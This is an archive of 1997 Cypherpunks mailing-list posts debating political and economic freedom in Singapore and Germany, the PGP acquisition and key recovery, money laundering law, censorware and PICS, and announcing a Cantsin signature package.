Pcyphered SIGNATURE:
3B766150F4B90D30688C657BB44EE7016793781A184F584E7C129D2A8A03F3F5
0B833ABFCE759CC129AF6A33B104406F19EB68AF61050087B65A66C94EA8B0B9
1D70D66883BCA304




- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: "J. Orlin Grabbe" <kalliste@aci.net>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 8 Dec 1997 12:31:21 +0800
To: cypherpunks@toad.com
Subject: Re: Singapore
In-Reply-To: <199712051359.IAA10734@u1.farm.idt.net>
Message-ID: <3.0.3.32.19971207195655.00747a88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:43 PM 12/05/1997 -0500, Duncan Frissell wrote:
>I don't think that Singapore is a fabulous place to live but its total 
>freedom is probably greater than Germany or France.  
>Our total freedom in the US is greater than Singapore's.

Depends on what you're measuring, and how you add non-commensurate
quantities together.  Singapore, for instance, kills drug dealers,
and informs you about that on the papers they hand you when you
enter the country.  I'd consider that a fairly blatant limitation on freedom.
The US occasionally kills drug dealers, and only very rarely if they
haven't committed other crimes, and in general seldom kills other criminals
in spite of the number of politicians who are Tough On Crime.
As far as I know, neither France nor Germany currently has the death penalty,
and they probably have fewer extrajudicial executions than the US.

The US currently won't arrest you for belonging to a political party,
now that the Anti-Communist laws have been trashed in the courts.
France and Germany will only arrest you for belonging to a few
political parties, and allow a lot of political parties that they
don't arrest you for membership in.  Singapore, if I remember,
held one of the leaders of a major opposition party in jail for
a couple of decades under Lee Kwan Yew, and makes it hard for 
opposition parties to organize and grow.

Singapore lets you work when you want to work, as long as you're
not doing a politically incorrect job like selling chewing gum or dope.
Germany doesn't really mind you selling dope, as long as your
shop is closed by 18:30 weekdays and earlier on Saturday :-)
(Don't think your customers are allowed to order pizza late, either...)

You can feel safe walking down the streets of Singapore at night.
A nice letter to the San Francisco Chronicle pointed out that the
author also felt very safe walking down the streets of Amsterdam.
Safety doesn't require a tyrannical police state or closed value system.

Without economic freedoms, it's difficult to preserve political and
lifestyle freedoms, especially if the economic limitations go beyond
stealing a lot of your money and into micromanaging how you spend it,
e.g. forbidding unlicensed purchases of printing presses or radio stations.

Without political freedoms, it's difficult to preserve economic freedoms;
if you can't organize and vote out a corrupt or big-spending government,
you're stuck between being constantly ripped off, violent revolution
(which is an expensive activity, especially if guns are hard to get),
or evading government officials (whether it's the Mexican system of
usually small bribes to avoid bigger problems, or the Italian system of
rampant cheating on high income taxes, or the Cypherpunks system
of keeping your income invisible and out of reach.)

Usually, tyrannical governments also want to rip off your money,
and corrupt governments want to keep you in your place politically
so they can continue receiving graft.  Occasionally some society
will be stuck with a tyrannical government that realizes it'll have
more power by letting its people make money, or a greedy do-gooder
society that doesn't mind what you do in your spare time as long
as you pay your taxes.  These situations may happen on the way down
(the greedy do-gooder government officials can't paying themselves
high salaries while collapsing the economy so they go for bribery),
or on the way up (tyrannical but honest leader kicks out corrupt 
small-timers and mafiosi and the people get more economic freedom
and more predictable if still limited personal freedom.)
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 8 Dec 1997 12:31:11 +0800
To: Peter Herngaard <pethern@inet.uni2.dk>
Subject: Re: Singapore and Germany
In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com>
Message-ID: <3.0.3.32.19971207195940.00747a88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:09 AM 12/06/1997 +0100, Peter Herngaard wrote:
>Mr. Frissell asserts that Germany lacks rights
>such as freedom of speech and association.  This is not true.
>The German Basic Law provides for everyone the right to freedom of speech,
>religion and association.
>However, Germany prohibits hate speech i.e. National Socialism and 
>incitement to racial, religious and national hatred.

Germany also prohibits the publishers of Radikal,
and people who support mirror sites of their magazine.
Radikal isn't hate speech, though it does advocate
opposition to the power structure.


				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 8 Dec 1997 09:36:07 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Indices of Economic Freedom
In-Reply-To: <199712052330.SAA21451@mx01.together.net>
Message-ID: <3.0.2.32.19971207201559.03c265c0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:31 PM 12/5/97 -0500, Brian B. Riley wrote:

> What are the criteria for these 'indices of economic freedom' ??? 
>
> Thanks

There are two competing indices:

ECONOMIC FREEDOM OF THE WORLD 1997

http://192.197.214.46/cgi-
bin/foliocgi.exe/fraser.nfo/query=*/doc/{t62614,16444}?

Published by CATO, The Fraser Institute, and most of the other Market Liberal 
think tanks of the world.

The components of their Index can be found at:

http://192.197.214.46/cgi-
bin/foliocgi.exe/Images97.nfo/object/Bitmap/FREE1997+!2D+EX1!2D1/object.gif?

and 

The Index of Economic Freedom 

http://www.townhall.com:80/heritage/library/categories/forpol/econ_index/toc.h
tml.cgi

Published by the Heritage Foundation and the Wall Street Journal.

The components of their Index can be found at:

http://www.townhall.com:80/heritage/library/categories/forpol/econ_index/ch4.h
tml.tlr

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 8 Dec 1997 12:29:36 +0800
To: cypherpunks@Algebra.COM
Subject: PRZ/PGP loses it
Message-ID: <199712080425.UAA22239@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Thu, 4 Dec 1997 15:02:44 -0500
From: bxs29@cas.org (Barry Skaggs-D26)
To: cas@majordomo.pobox.com, ignition-point@majordomo.pobox.com
Subject: IP: (OT) Cloud Over Future of PGP

Seems like the days of peer-reviewed encryption
software may be numbered.  Just trust Us.

Regards,

Barry Skaggs



Cloud Over Future of Pretty Good Privacy
     The Price of Key Recovery

Following Monday's US$35 million cash
acquisition of PGP by Network Associates,
the man who once testified before the
Senate that key recovery could "strengthen
the hand of a police state" now works for a
company that actively promotes it. 

Reaction from e-privacy activists was swift
and harsh. 
"The users of PGP can no longer rely on the
credibility of Phil Zimmermann to ensure that
the product is everything that they've been
promised it's been previously," said Dave
Banisar, attorney for the Electronic Privacy
Information Center and co-author of The
Electronic Privacy Papers 

Network Associates, formerly known as
the Key Recovery Alliance, an organization
that lobbies Congress for key recovery that
would grant law enforcement agencies
back-door access to private encrypted
communications. 

Network Associates and other companies
support key recovery because it would allow
them to export strong crypto software
without bothering to make a separate
nonrecoverable version for the domestic
market. The Commerce Department forbids
export of the strongest available encryption
without elaborate promises from
manufacturers to develop key recovery
features. Thus many companies are forced
to develop both export and domestic
versions of their software, each with
differing crypto strengths. 

But Zimmermann, a pioneer of strong
encryption, has spent years crusading
against key recovery, calling it an invasion
of privacy. And the most recent release of
PGP's encryption software allows users to
disable key recovery. 

"People should give their consent to use
[recovery]," Zimmermann said. When asked
whether future versions of the package will
retain that option, Zimmermann replied,
"Certainly, as long as I have anything to say
about it." 

Zimmermann's new title at Network
Associates is "fellow," but he declined to
comment on exactly what authority and
responsibility that confers. Meanwhile, Phil
Dunkelberger, PGP's former president and
CEO, was named general manager of
Network Associates' Total Network
Security Division. 

"It's going to take some time to figure things
out," said Zimmermann. 

EPIC's Banisar was less diplomatic and
postulated that Zimmermann's new title
reflected a clash of values between him and
Network Associates on key recovery. 

"We have a number of fellows here, and
they are usually unpaid volunteers," Banisar
said. 

"It will require a fundamental examination by
human rights groups and others about
whether any newer versions of PGP are
truly trustworthy," said Banisar. 

Network Associates could not be reached
for comment. 

Wired, Dec. 3, 1997 


**********************************************
To subscribe or unsubscribe, email:
     majordomo@majordomo.pobox.com
with the message:
     subscribe ignition-point email@address
or
     unsubscribe ignition-point email@address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 8 Dec 1997 12:49:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <199712072343.PAA22192@sirius.infonex.com>
Message-ID: <v03102801b0b124ea6131@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:43 PM -0800 12/7/1997, Mix wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Steve Schear wrote:
>>This topic, of course, is near the top of many libertarian e-commerce 
>>agendas.  Almost every mainstream news article and regulatory report repeats 
>>the littany that Money Laundering, that is the movement of money to disguise 
>>it origin (even if there are no predicate offenses) must remain illegal 
>>because it damages or is a threat to the world banking and financial system 
>>(not just the tax take of governments), but I have yet to see any 
>>explanation of how and why.  Anyone care to comment?
>
>Might be a bit of a stretch, but I think this is because money today is 
>inherently a liability, that is a debt that someone, somewhere has promised 
>to pay back.

You've got this all backwards.  The bearer certificates (paper money) issued by governments is an interest-free loan by those holding the paper to the issuer.
 
>A money's value is measured by the quality of debt backing it.  If the debt 
>is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
>loses value, which in turn can have negative systemic repercussions 
>throughout the world's financial markets.  The recent Asian currency 
>devaluations (South Korea in particular) and the accompanying financial woes 
>are a good example of what happens when the debt quality of money devalues.

Most of this bad debt is from unwise or even illegal speculation.  I propose that it is much more common for those who deal in money from anonymous sources to look to placing that money into mainstream operating businesses and investments than as assests to back fraudulent loans, although this certainly does happen (perhaps some of the bad debt held by Japanese banks to alledged Yakusa might fall in this latter category.

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------

	I know not what course others may take; but as for me, 
	give me ECache or give me debt!

	"It's your Cache"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 8 Dec 1997 12:48:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PRZ/PGP loses it
In-Reply-To: <199712080425.UAA22239@netcom14.netcom.com>
Message-ID: <3.0.3.32.19971207204150.006d78ac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



This article has lost a few very critical lines,
making it look far worse than it really is.

Network Associates was _not_ formerly known as the
Key Recovery Alliance.  They were formerly known as
McAfee Associates.  McAfee had been a member of the
KRA, but has since withdrawn.  Go see PGP's home page.
And Phil's comments about user consent don't mean that
users _should_ be forced to consent -- viewed in context, 
they mean that users shouldn't have their keys or
messages escrowed without their consent,
and the escrow features should require consent.

Furthermore, peer-reviewed encryption isn't dead -
the OpenPGP encryption standard is being developed,
bringing PGP to an open standards process.

At 08:25 PM 12/07/1997 -0800, Vladimir Z. Nuri wrote:
>
>------- Forwarded Message
>
>Date: Thu, 4 Dec 1997 15:02:44 -0500
>From: bxs29@cas.org (Barry Skaggs-D26)
>To: cas@majordomo.pobox.com, ignition-point@majordomo.pobox.com
>Subject: IP: (OT) Cloud Over Future of PGP
>
>Seems like the days of peer-reviewed encryption
>software may be numbered.  Just trust Us.
>
>Regards,
>
>Barry Skaggs
>
>
>
>Cloud Over Future of Pretty Good Privacy
>     The Price of Key Recovery
>
>Following Monday's US$35 million cash
>acquisition of PGP by Network Associates,
>the man who once testified before the
>Senate that key recovery could "strengthen
>the hand of a police state" now works for a
>company that actively promotes it. 
>
>Reaction from e-privacy activists was swift
>and harsh. 
>"The users of PGP can no longer rely on the
>credibility of Phil Zimmermann to ensure that
>the product is everything that they've been
>promised it's been previously," said Dave
>Banisar, attorney for the Electronic Privacy
>Information Center and co-author of The
>Electronic Privacy Papers 
>
>Network Associates, formerly known as
>the Key Recovery Alliance, an organization
>that lobbies Congress for key recovery that
>would grant law enforcement agencies
>back-door access to private encrypted
>communications. 
>
>Network Associates and other companies
>support key recovery because it would allow
>them to export strong crypto software
>without bothering to make a separate
>nonrecoverable version for the domestic
>market. The Commerce Department forbids
>export of the strongest available encryption
>without elaborate promises from
>manufacturers to develop key recovery
>features. Thus many companies are forced
>to develop both export and domestic
>versions of their software, each with
>differing crypto strengths. 
>
>But Zimmermann, a pioneer of strong
>encryption, has spent years crusading
>against key recovery, calling it an invasion
>of privacy. And the most recent release of
>PGP's encryption software allows users to
>disable key recovery. 
>
>"People should give their consent to use
>[recovery]," Zimmermann said. When asked
>whether future versions of the package will
>retain that option, Zimmermann replied,
>"Certainly, as long as I have anything to say
>about it." 
>
>Zimmermann's new title at Network
>Associates is "fellow," but he declined to
>comment on exactly what authority and
>responsibility that confers. Meanwhile, Phil
>Dunkelberger, PGP's former president and
>CEO, was named general manager of
>Network Associates' Total Network
>Security Division. 
>
>"It's going to take some time to figure things
>out," said Zimmermann. 
>
>EPIC's Banisar was less diplomatic and
>postulated that Zimmermann's new title
>reflected a clash of values between him and
>Network Associates on key recovery. 
>
>"We have a number of fellows here, and
>they are usually unpaid volunteers," Banisar
>said. 
>
>"It will require a fundamental examination by
>human rights groups and others about
>whether any newer versions of PGP are
>truly trustworthy," said Banisar. 
>
>Network Associates could not be reached
>for comment. 
>
>Wired, Dec. 3, 1997 
>
>
>**********************************************
>To subscribe or unsubscribe, email:
>     majordomo@majordomo.pobox.com
>with the message:
>     subscribe ignition-point email@address
>or
>     unsubscribe ignition-point email@address
>**********************************************
>http://www.telepath.com/believer
>**********************************************
>
>------- End of Forwarded Message
>
>
>
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Mon, 8 Dec 1997 10:01:09 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041107.GAA29227@users.invweb.net>
Message-ID: <Pine.SUN.3.91.971207204957.14863B-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Dec 1997, William H. Geiger III wrote:

> As I stated in my previous post the Nolan chart is flawed. In it's
> attempts to be "two-dimensional" it artificially separates interdependent
> philosophies. Economic Freedom = Personal Freedom. You can not have one
> without the other. The major failings of the socialist is their
> unwillingness to accept this fact. A free society can not survive under a
> socialist regime any more that a totalitarian society can survive under a
> capitalist one.

I agree with your assessment of the interdependence of economic freedom
and personal freedom.  But the Nolan chart itself is not flawed - the
political belief systems that it describes are flawed.  That is, any
political belief system that advocates different levels of governmental
control for the two - that belief system is flawed.

The Nolan chart does a much better job of describing them than the
traditional left-right spectrum does.  Nor have I seen a better
descriptive device.

Incidentally, here is my score:

Your Personal Self-Government Score is 100%. 
Your Economic Self-Government Score is 100%. 

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 8 Dec 1997 10:08:19 +0800
To: cypherpunks@toad.com
Subject: Re: Singapore
In-Reply-To: <01bd026d$85c8c4a0$06060606@russell>
Message-ID: <3.0.2.32.19971207205827.03c68eb8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:07 PM 12/7/97 +0800, Harish Pillay wrote:

>I am a Singaporean and have lived most of my life in Singapore.  I am no
>lapdog of the government (thank you) nor do I agree with everything the 
>government does.  If it is of any interest to you, you can go to my home 
>page for information on dirt that I have posted about the SG govt.  You 
>can also go to many other sites all over (both within Singapore and outside) 

>that discuss a wide array of issues, (www.sintercom.org) for example.

It should be obvious to those who have read my stuff over the years that I am 
not a fan of Singapore's government.  As an anarchist, that would be 
ridiculous in any case.  All that I ever said was that Singapore was freer 
than lots of other countries that don't get so much bad press.  I mentioned 
Germany and I could have mentioned France.

Liberty is commutative as is tyrrany.  You can add up the restrictions and 
arrive at a total.  You can't analyze a human institution with mathematical 
perfection but you can do better than relying purely on emotional 
stereotypes.  

I think that many of us ("We Are All Liberals Now" -- The Economist, 1997) 
ignore economic liberty when comparing regimes.  

It was this failing in the Freedom House (http://www.freedomhouse.org/) 
survey "Freedom in the World" (http://www.freedomhouse.org/Political/toc.htm) 
published since 1981 that led to two competing surveys being published by 
CATO and Heritage Foundation (as mentioned in an earlier post).  

Freedom House then retaliated with "World Survey of Economic Freedom" 
(http://www.freedomhouse.org/Econ/TOC.HTM) which is vague (both Germans and 
Americans are assigned equal "right to earn a living" scores of 3 even though 
Germans are much more restricted in that endeavor than Americans).  Their 
survey also totally ignores the "takings issue".  A country with a 100% 
income tax could rank perfectly on their scales.  

There are bound to be differences of opinion about living conditions in 
different countries and different weights that individuals would assign to 
different factors.  I was never trying to convince anyone that Singapore is a 
capitalist paradise and everyone should emulate them.  In fact Hong Kong has 
had a better growth rate recently and was a nicer place to live prior to its 
late unpleasantness.

Personally, I prefer Europe's winner in the economic liberty sweepstakes -- 
Switzerland -- or the anarchist paradise where they have many laws but no one 
obeys them -- Northern Italy -- or the US where it remains easy to avoid most 
of the unpleasant restrictions that our rulers attempt to impose on us.

I also am sure that not even the promoters of "Asian Values" can resist the 
transformative effects of the cash and the personal empowerment that 
accompany the growth of MarketEarth.

DCF 

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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ZzhMRzFWvbq3Ezvq/Xu57mYgqq2CuspioO9Ys4h/nhbUOSmCg0pC2yYuVgBnOnWM
HJN/Zn7GCTE=
=5I6e
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 8 Dec 1997 10:51:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Singapore (fwd)
Message-ID: <199712080302.VAA32114@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: frissell@panix.com
> Date: Sun, 07 Dec 1997 20:58:27 -0500
> Subject: Re: Singapore

> I think that many of us ("We Are All Liberals Now" -- The Economist, 1997) 
> ignore economic liberty when comparing regimes.  

Measure of government form:

Type            Manage             Own

Democracy       Individual         Individual

Communism       State              State

Facism          State              Individual


Note that it is quite easy to have a government type that falls between
these. Consider the current situation in the US,

Rep-Democ       Ind/State          Ind/State


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Mon, 8 Dec 1997 04:30:53 +0800
To: cypherpunks@Algebra.COM
Subject: Complete package for Cantsin Protocol No. 2
Message-ID: <199712072015.VAA02081@n245-198.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain



Hello,

I have put together a package for Cantsin 2 Signatures, to
generate the keys, sign documents and check signatures.

Prerequisites are:

perl Version 5
libgmp Version 2.*
a C compiler
currently /dev/random for generation of keys and signatures

precompiled binaries are provided for Linux-ELF (libc-5.*), if you have
that you don't need libgmp.

Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (70 KByte)

Regards
  Steffen

(p,g,y,name):
EDE1EACA8EB7C5AC77E9359BC176D1A42A9FA7AF54C21AADB6B593A373F1B200632BECB3A183C2C0DFC9BF11E9C1B9612CDC49A61A9F3D6EF77CC6DED0463311AAAF4E4D763DE44147011EF32B5E19E695C91C13D0C7565B84FCF78DD0056FDA4CB3D62E9B454AAC439BFC2A4603FBCD92438235DAC319E51CC9E6DC6FD6C3B9156D8FB71C91E695F37
E0CEDAD16326221ABDF7A3C8315BB1034EE6E14E9F3BF157C01C30AA130E0AB9A1662AE81C0AD9007BE52442695577F51C424CD8890EA999DD09CC894630B76A0B81A3BD7101F53BAF548BB967E6068CAFBA55E851CEFEE1DF637B172B35DA52D07A0A8AA365195829E2822FCDD2B5D6314CFB4F79BDA0AC4E927FF577ABB14719D79079A9193BF2940
1D18C5FBC462B9FF584790FE306B496159DD0DD9F9FC1CB483F9E8924668F17C20347C251F55C3013A5D6012B2A91024E1F3F182C5ED6B2A297D4A4395B89725467A40C795CB31A3AF6C7772ECF682F5A736C62713B669C80A4F139EA7527E0A7E7DCF616CD1C804D13C273834164F3306FF8A281A1F565250A16ABD391E5915FE8B02890CB90F34BC6
Steffen Zahn (Key1)


-- 
home email:  user@domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
C7939FF3B061847AA129E842B2F9E5539678D4F4
-5DA 5DA
B51C3B7381DB4C6695FA50B94789D94CAD2FB2CAFF7900AD4E88B4BFC8F4AFA2D48CBE740601E77B11FB9FB1C0EE0E1AF92A3BA8AEE7A63E5C674236F5CB74683150D7C58250138EF78A72EB91B617D6F3EE65A6B5A26B2AE409940DCA5475A87732032F8AB1351B1C8B7B0D273EF83AB6004C6FA308EAA849E4CEEAFDB64B4D4B7E64ECACE4710F682
80AF4F3AA1CE9DA07FF9C94FA797B29014B7308D50EF50E071606E5653550D8FA50E3D2559C19DE987A18028DEFB2847D29B6A32F3912A8C68C3BEEB6B9A7D88066E53116E4561E3255D3324A649F592C01F82D5CE2FB2EAE081BBB935677CBD3A32ECC108856E5FB47255C8847FEC36FAC0196BBD8F2DE6368D11F32BF572BE014E49DBCCDF14EA098





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Mon, 8 Dec 1997 13:29:10 +0800
To: cypherpunks@toad.com
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <3.0.3.32.19971207211705.030bd220@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think the answer to your question is that most of us find the very idea
of filterware distasteful (let alone the generally poor quality of the
implementations.  However, that's much the same as I find american cars
distasteful.  If somebody else wants to blow their money on one of those
pieces of crap, by all means let them.  (I admit, they're slowly getting
better)  This leads us to poke fun at the current systems and argue against
people actually using them, much the same way a christian friend of mine
keeps trying to get me to accept jesus into my heart and love him so that I
won't go to hell.  On the other hand, we get really pissed off when
somebody tries to force us and our kids to use this crap.  It doesn't
matter if it is AOL or the FBI, outside coercion is outside coercion.
At 04:48 PM 12/7/97 -0800, Vladimir Z. Nuri wrote:
>
>I still don't understand why it is "censorship" when any
>company can come up with any software that rates sites
>according to any scheme, and anyone can choose to use
>any package, or ignore the software altogether. there is total freedom 
>in all of this.
>
>Declan, why is it that you are now editorializing against an
>editorial that asks for government standards & laws instead of
>free market ones? are you starting to finally figure out that
>private enterprise filtering systems, while having huge 
>aspects that are not all that pleasant, are superior to the
>alternative? (btw, I don't like the claims of the editorial
>either, but that has always been my position on this issue--
>that private enterprise 
>systems are superior to government censorship)
>
>I agree that PICS was introduced in part to try to come up
>with a solution to the problem of offensive content that
>could be presented as an alternative to any government 
>involvement. people on the net want to solve their own problems
>on the net, without laws, in general.
>
>everyone who continues to rant against filtering companies
>strike me as people who are screaming sour grapes. "we don't
>like the choices these companies have made!!" but just start
>your own!! the market is deciding what filtering company
>is doing the best job, mostly regardless of your ranting.
>and surprise!! guess what!! the market may not actually
>decide that it even cares whether filtering products are
>up front about informing what sites they filter.
>
>what, it takes a lot of work to filter sites? well, you're
>damn right-- doing anything of value requires a lot of work,
>and the filtering companies are working hard to improve their
>technology, no thanks to the screechings of a lot of people
>who feel that they have some better way of judging filtering
>software than the parents who use it.
>
>the net will continue to support schemes that help separate,
>segregate, and rate content, and those who reject such ideas as
>"censorship" are going to be seen as increasingly out-of-touch
>and clueless about how the technology works.
>
>does anyone claim it is censorship because a service interested
>in rating "cool sites" does not rate many sites it thinks are not
>cool? why then is there so much controversy when a *service*
>designed to rate *sites acceptable to children* does not include
>certain sites? can anyone tell me the difference? answer: many
>people wish to be the judge of what children can and cannot see.
>but ultimately,  does anyone other than a parent have the
>authority to do this? in a free society, which I think we
>still live in, that is?
>
>if you think you are a better judge of what children should
>see, create your own service that includes whatever you think
>is being excluded. the market may support you. or, the market
>may thumb its nose at you.
>
>(however, postscript to all of the above,
>I do agree that any government laws making filtering
>software in some way mandatory is bogus and abhorrent.)
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Holliday <alanh@global.co.za>
Date: Tue, 9 Dec 1997 03:50:04 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <348AFA73.FC9198DB@global.co.za>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 8 Dec 1997 10:05:22 +0800
To: cypherpunks@toad.com
Subject: Re: SynData/Schneier Attack Network Associates
Message-ID: <Ibe354YADb/9ZPhFCE3/uA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



cvhd@indyweb.net wrote:
> Everyone should keep in mind that John McAfee very well knows on which side
> of his bread it is buttered--  McAfee has made his fortune on the
> site-licenses for government use of his anti-virus product.  U.S. Customs
> alone liceneses 17,000+ copies.  Is anyone kidding themselves about which
> side of GAK and Key Escrow McAfee will come down on?

The wonderful thing about the U.S. Customs computer system is that
one only has to compromise a single computer to access everything
on their system. God bless McAfee, who made it all possible by making
certain that all of the Customs computers were vulnerable to a single
point of entry.
I can hardly wait for their Key Escrow products to come out.

Very Anonymous







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 8 Dec 1997 12:57:33 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: your mail
In-Reply-To: <7bdc5ac25d3bf0a689fc6a2cbe4cc8b4@squirrel>
Message-ID: <Pine.BSF.3.91.971207221921.2464C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis uses procmail.

On 7 Dec 1997, Secret Squirrel wrote:

> I think Vulis needs each of us to send ten copies of this back to him.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Godwin <mnemonic@well.com>
Date: Mon, 8 Dec 1997 12:42:02 +0800
To: Andrew Shapiro <cypherpunks@toad.com
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <v0300780bb0ac81fe47dc@[204.254.22.237]>
Message-ID: <v0311070db0b11a02f203@[153.35.9.65]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:00 PM -0500 12/4/97, Andrew Shapiro wrote:

>You're wrong or overstating the case.  PICS began as an effort -- rightly
>enough -- to *respond to* and/or *stave off* laws like the CDA.  But did
>the Feds "pressure" anyone to come up with PICS?  No.  I just
>double-checked with someone linked to PICS's founding, who told me: "Nobody
>in the federal government ever came to the 3WC and told them to create
>PICS."

I believe the first version of the Exon Amendment was introduced in late
summer of 1994. I believe PICS postdates this, but I am not certain.

>And even if the Feds had "pressured" someone to do so, that
>wouldn't in anyway justify its speech-inhibiting design features.

Does PICS inhibit speech in e-mail or in Usenet newsgroups or in FTP sites?
Isn't PICS just the Web?
Conversely, doesn't any version of the CDA inhibit speech in, e.g., e-mail,
Usenet newsgroups, and FTP sites?

I cannot conceive of any version of the CDA that does not restrict speech
more broadly, and have a greater chilling effect, than PICS. Note that this
is not a defense of PICS.

>That's irrelevant, Declan.  Day-to-day, speech can be inhibited as much by
>technology as by law.

I don't believe PICS, whatever its other flaws, poses any threat of putting
speakers of unapproved speech in jail.

>That's not what I said.  I'm not in favor of censorship and I oppose any
>attempt to *criminalize* 'indecent' speech.  But criminalize does not =
>regulate.

Perhaps it is a flaw in my legal education, but I was always taught that
criminal laws were a form of regulation.

>>children do
>>not have a of Constitutional right to have
>>censorware-free computers.
>
>Really!  I seem to recall *you* making the argument that kids have first
>amendment rights to access any information, particularly in public
>facilities like libraries.

I cannot speak to what Declan's argument actually was, but I note that
these two positions are not, in fact, logically inconsistent.


---Mike





----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

Mike Godwin, EFF Staff Counsel, is currently on leave from EFF,
participating as a Research Fellow at the Freedom Forum Media Studies
Center in New York City. He can be contacted at 212-317-6552.
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
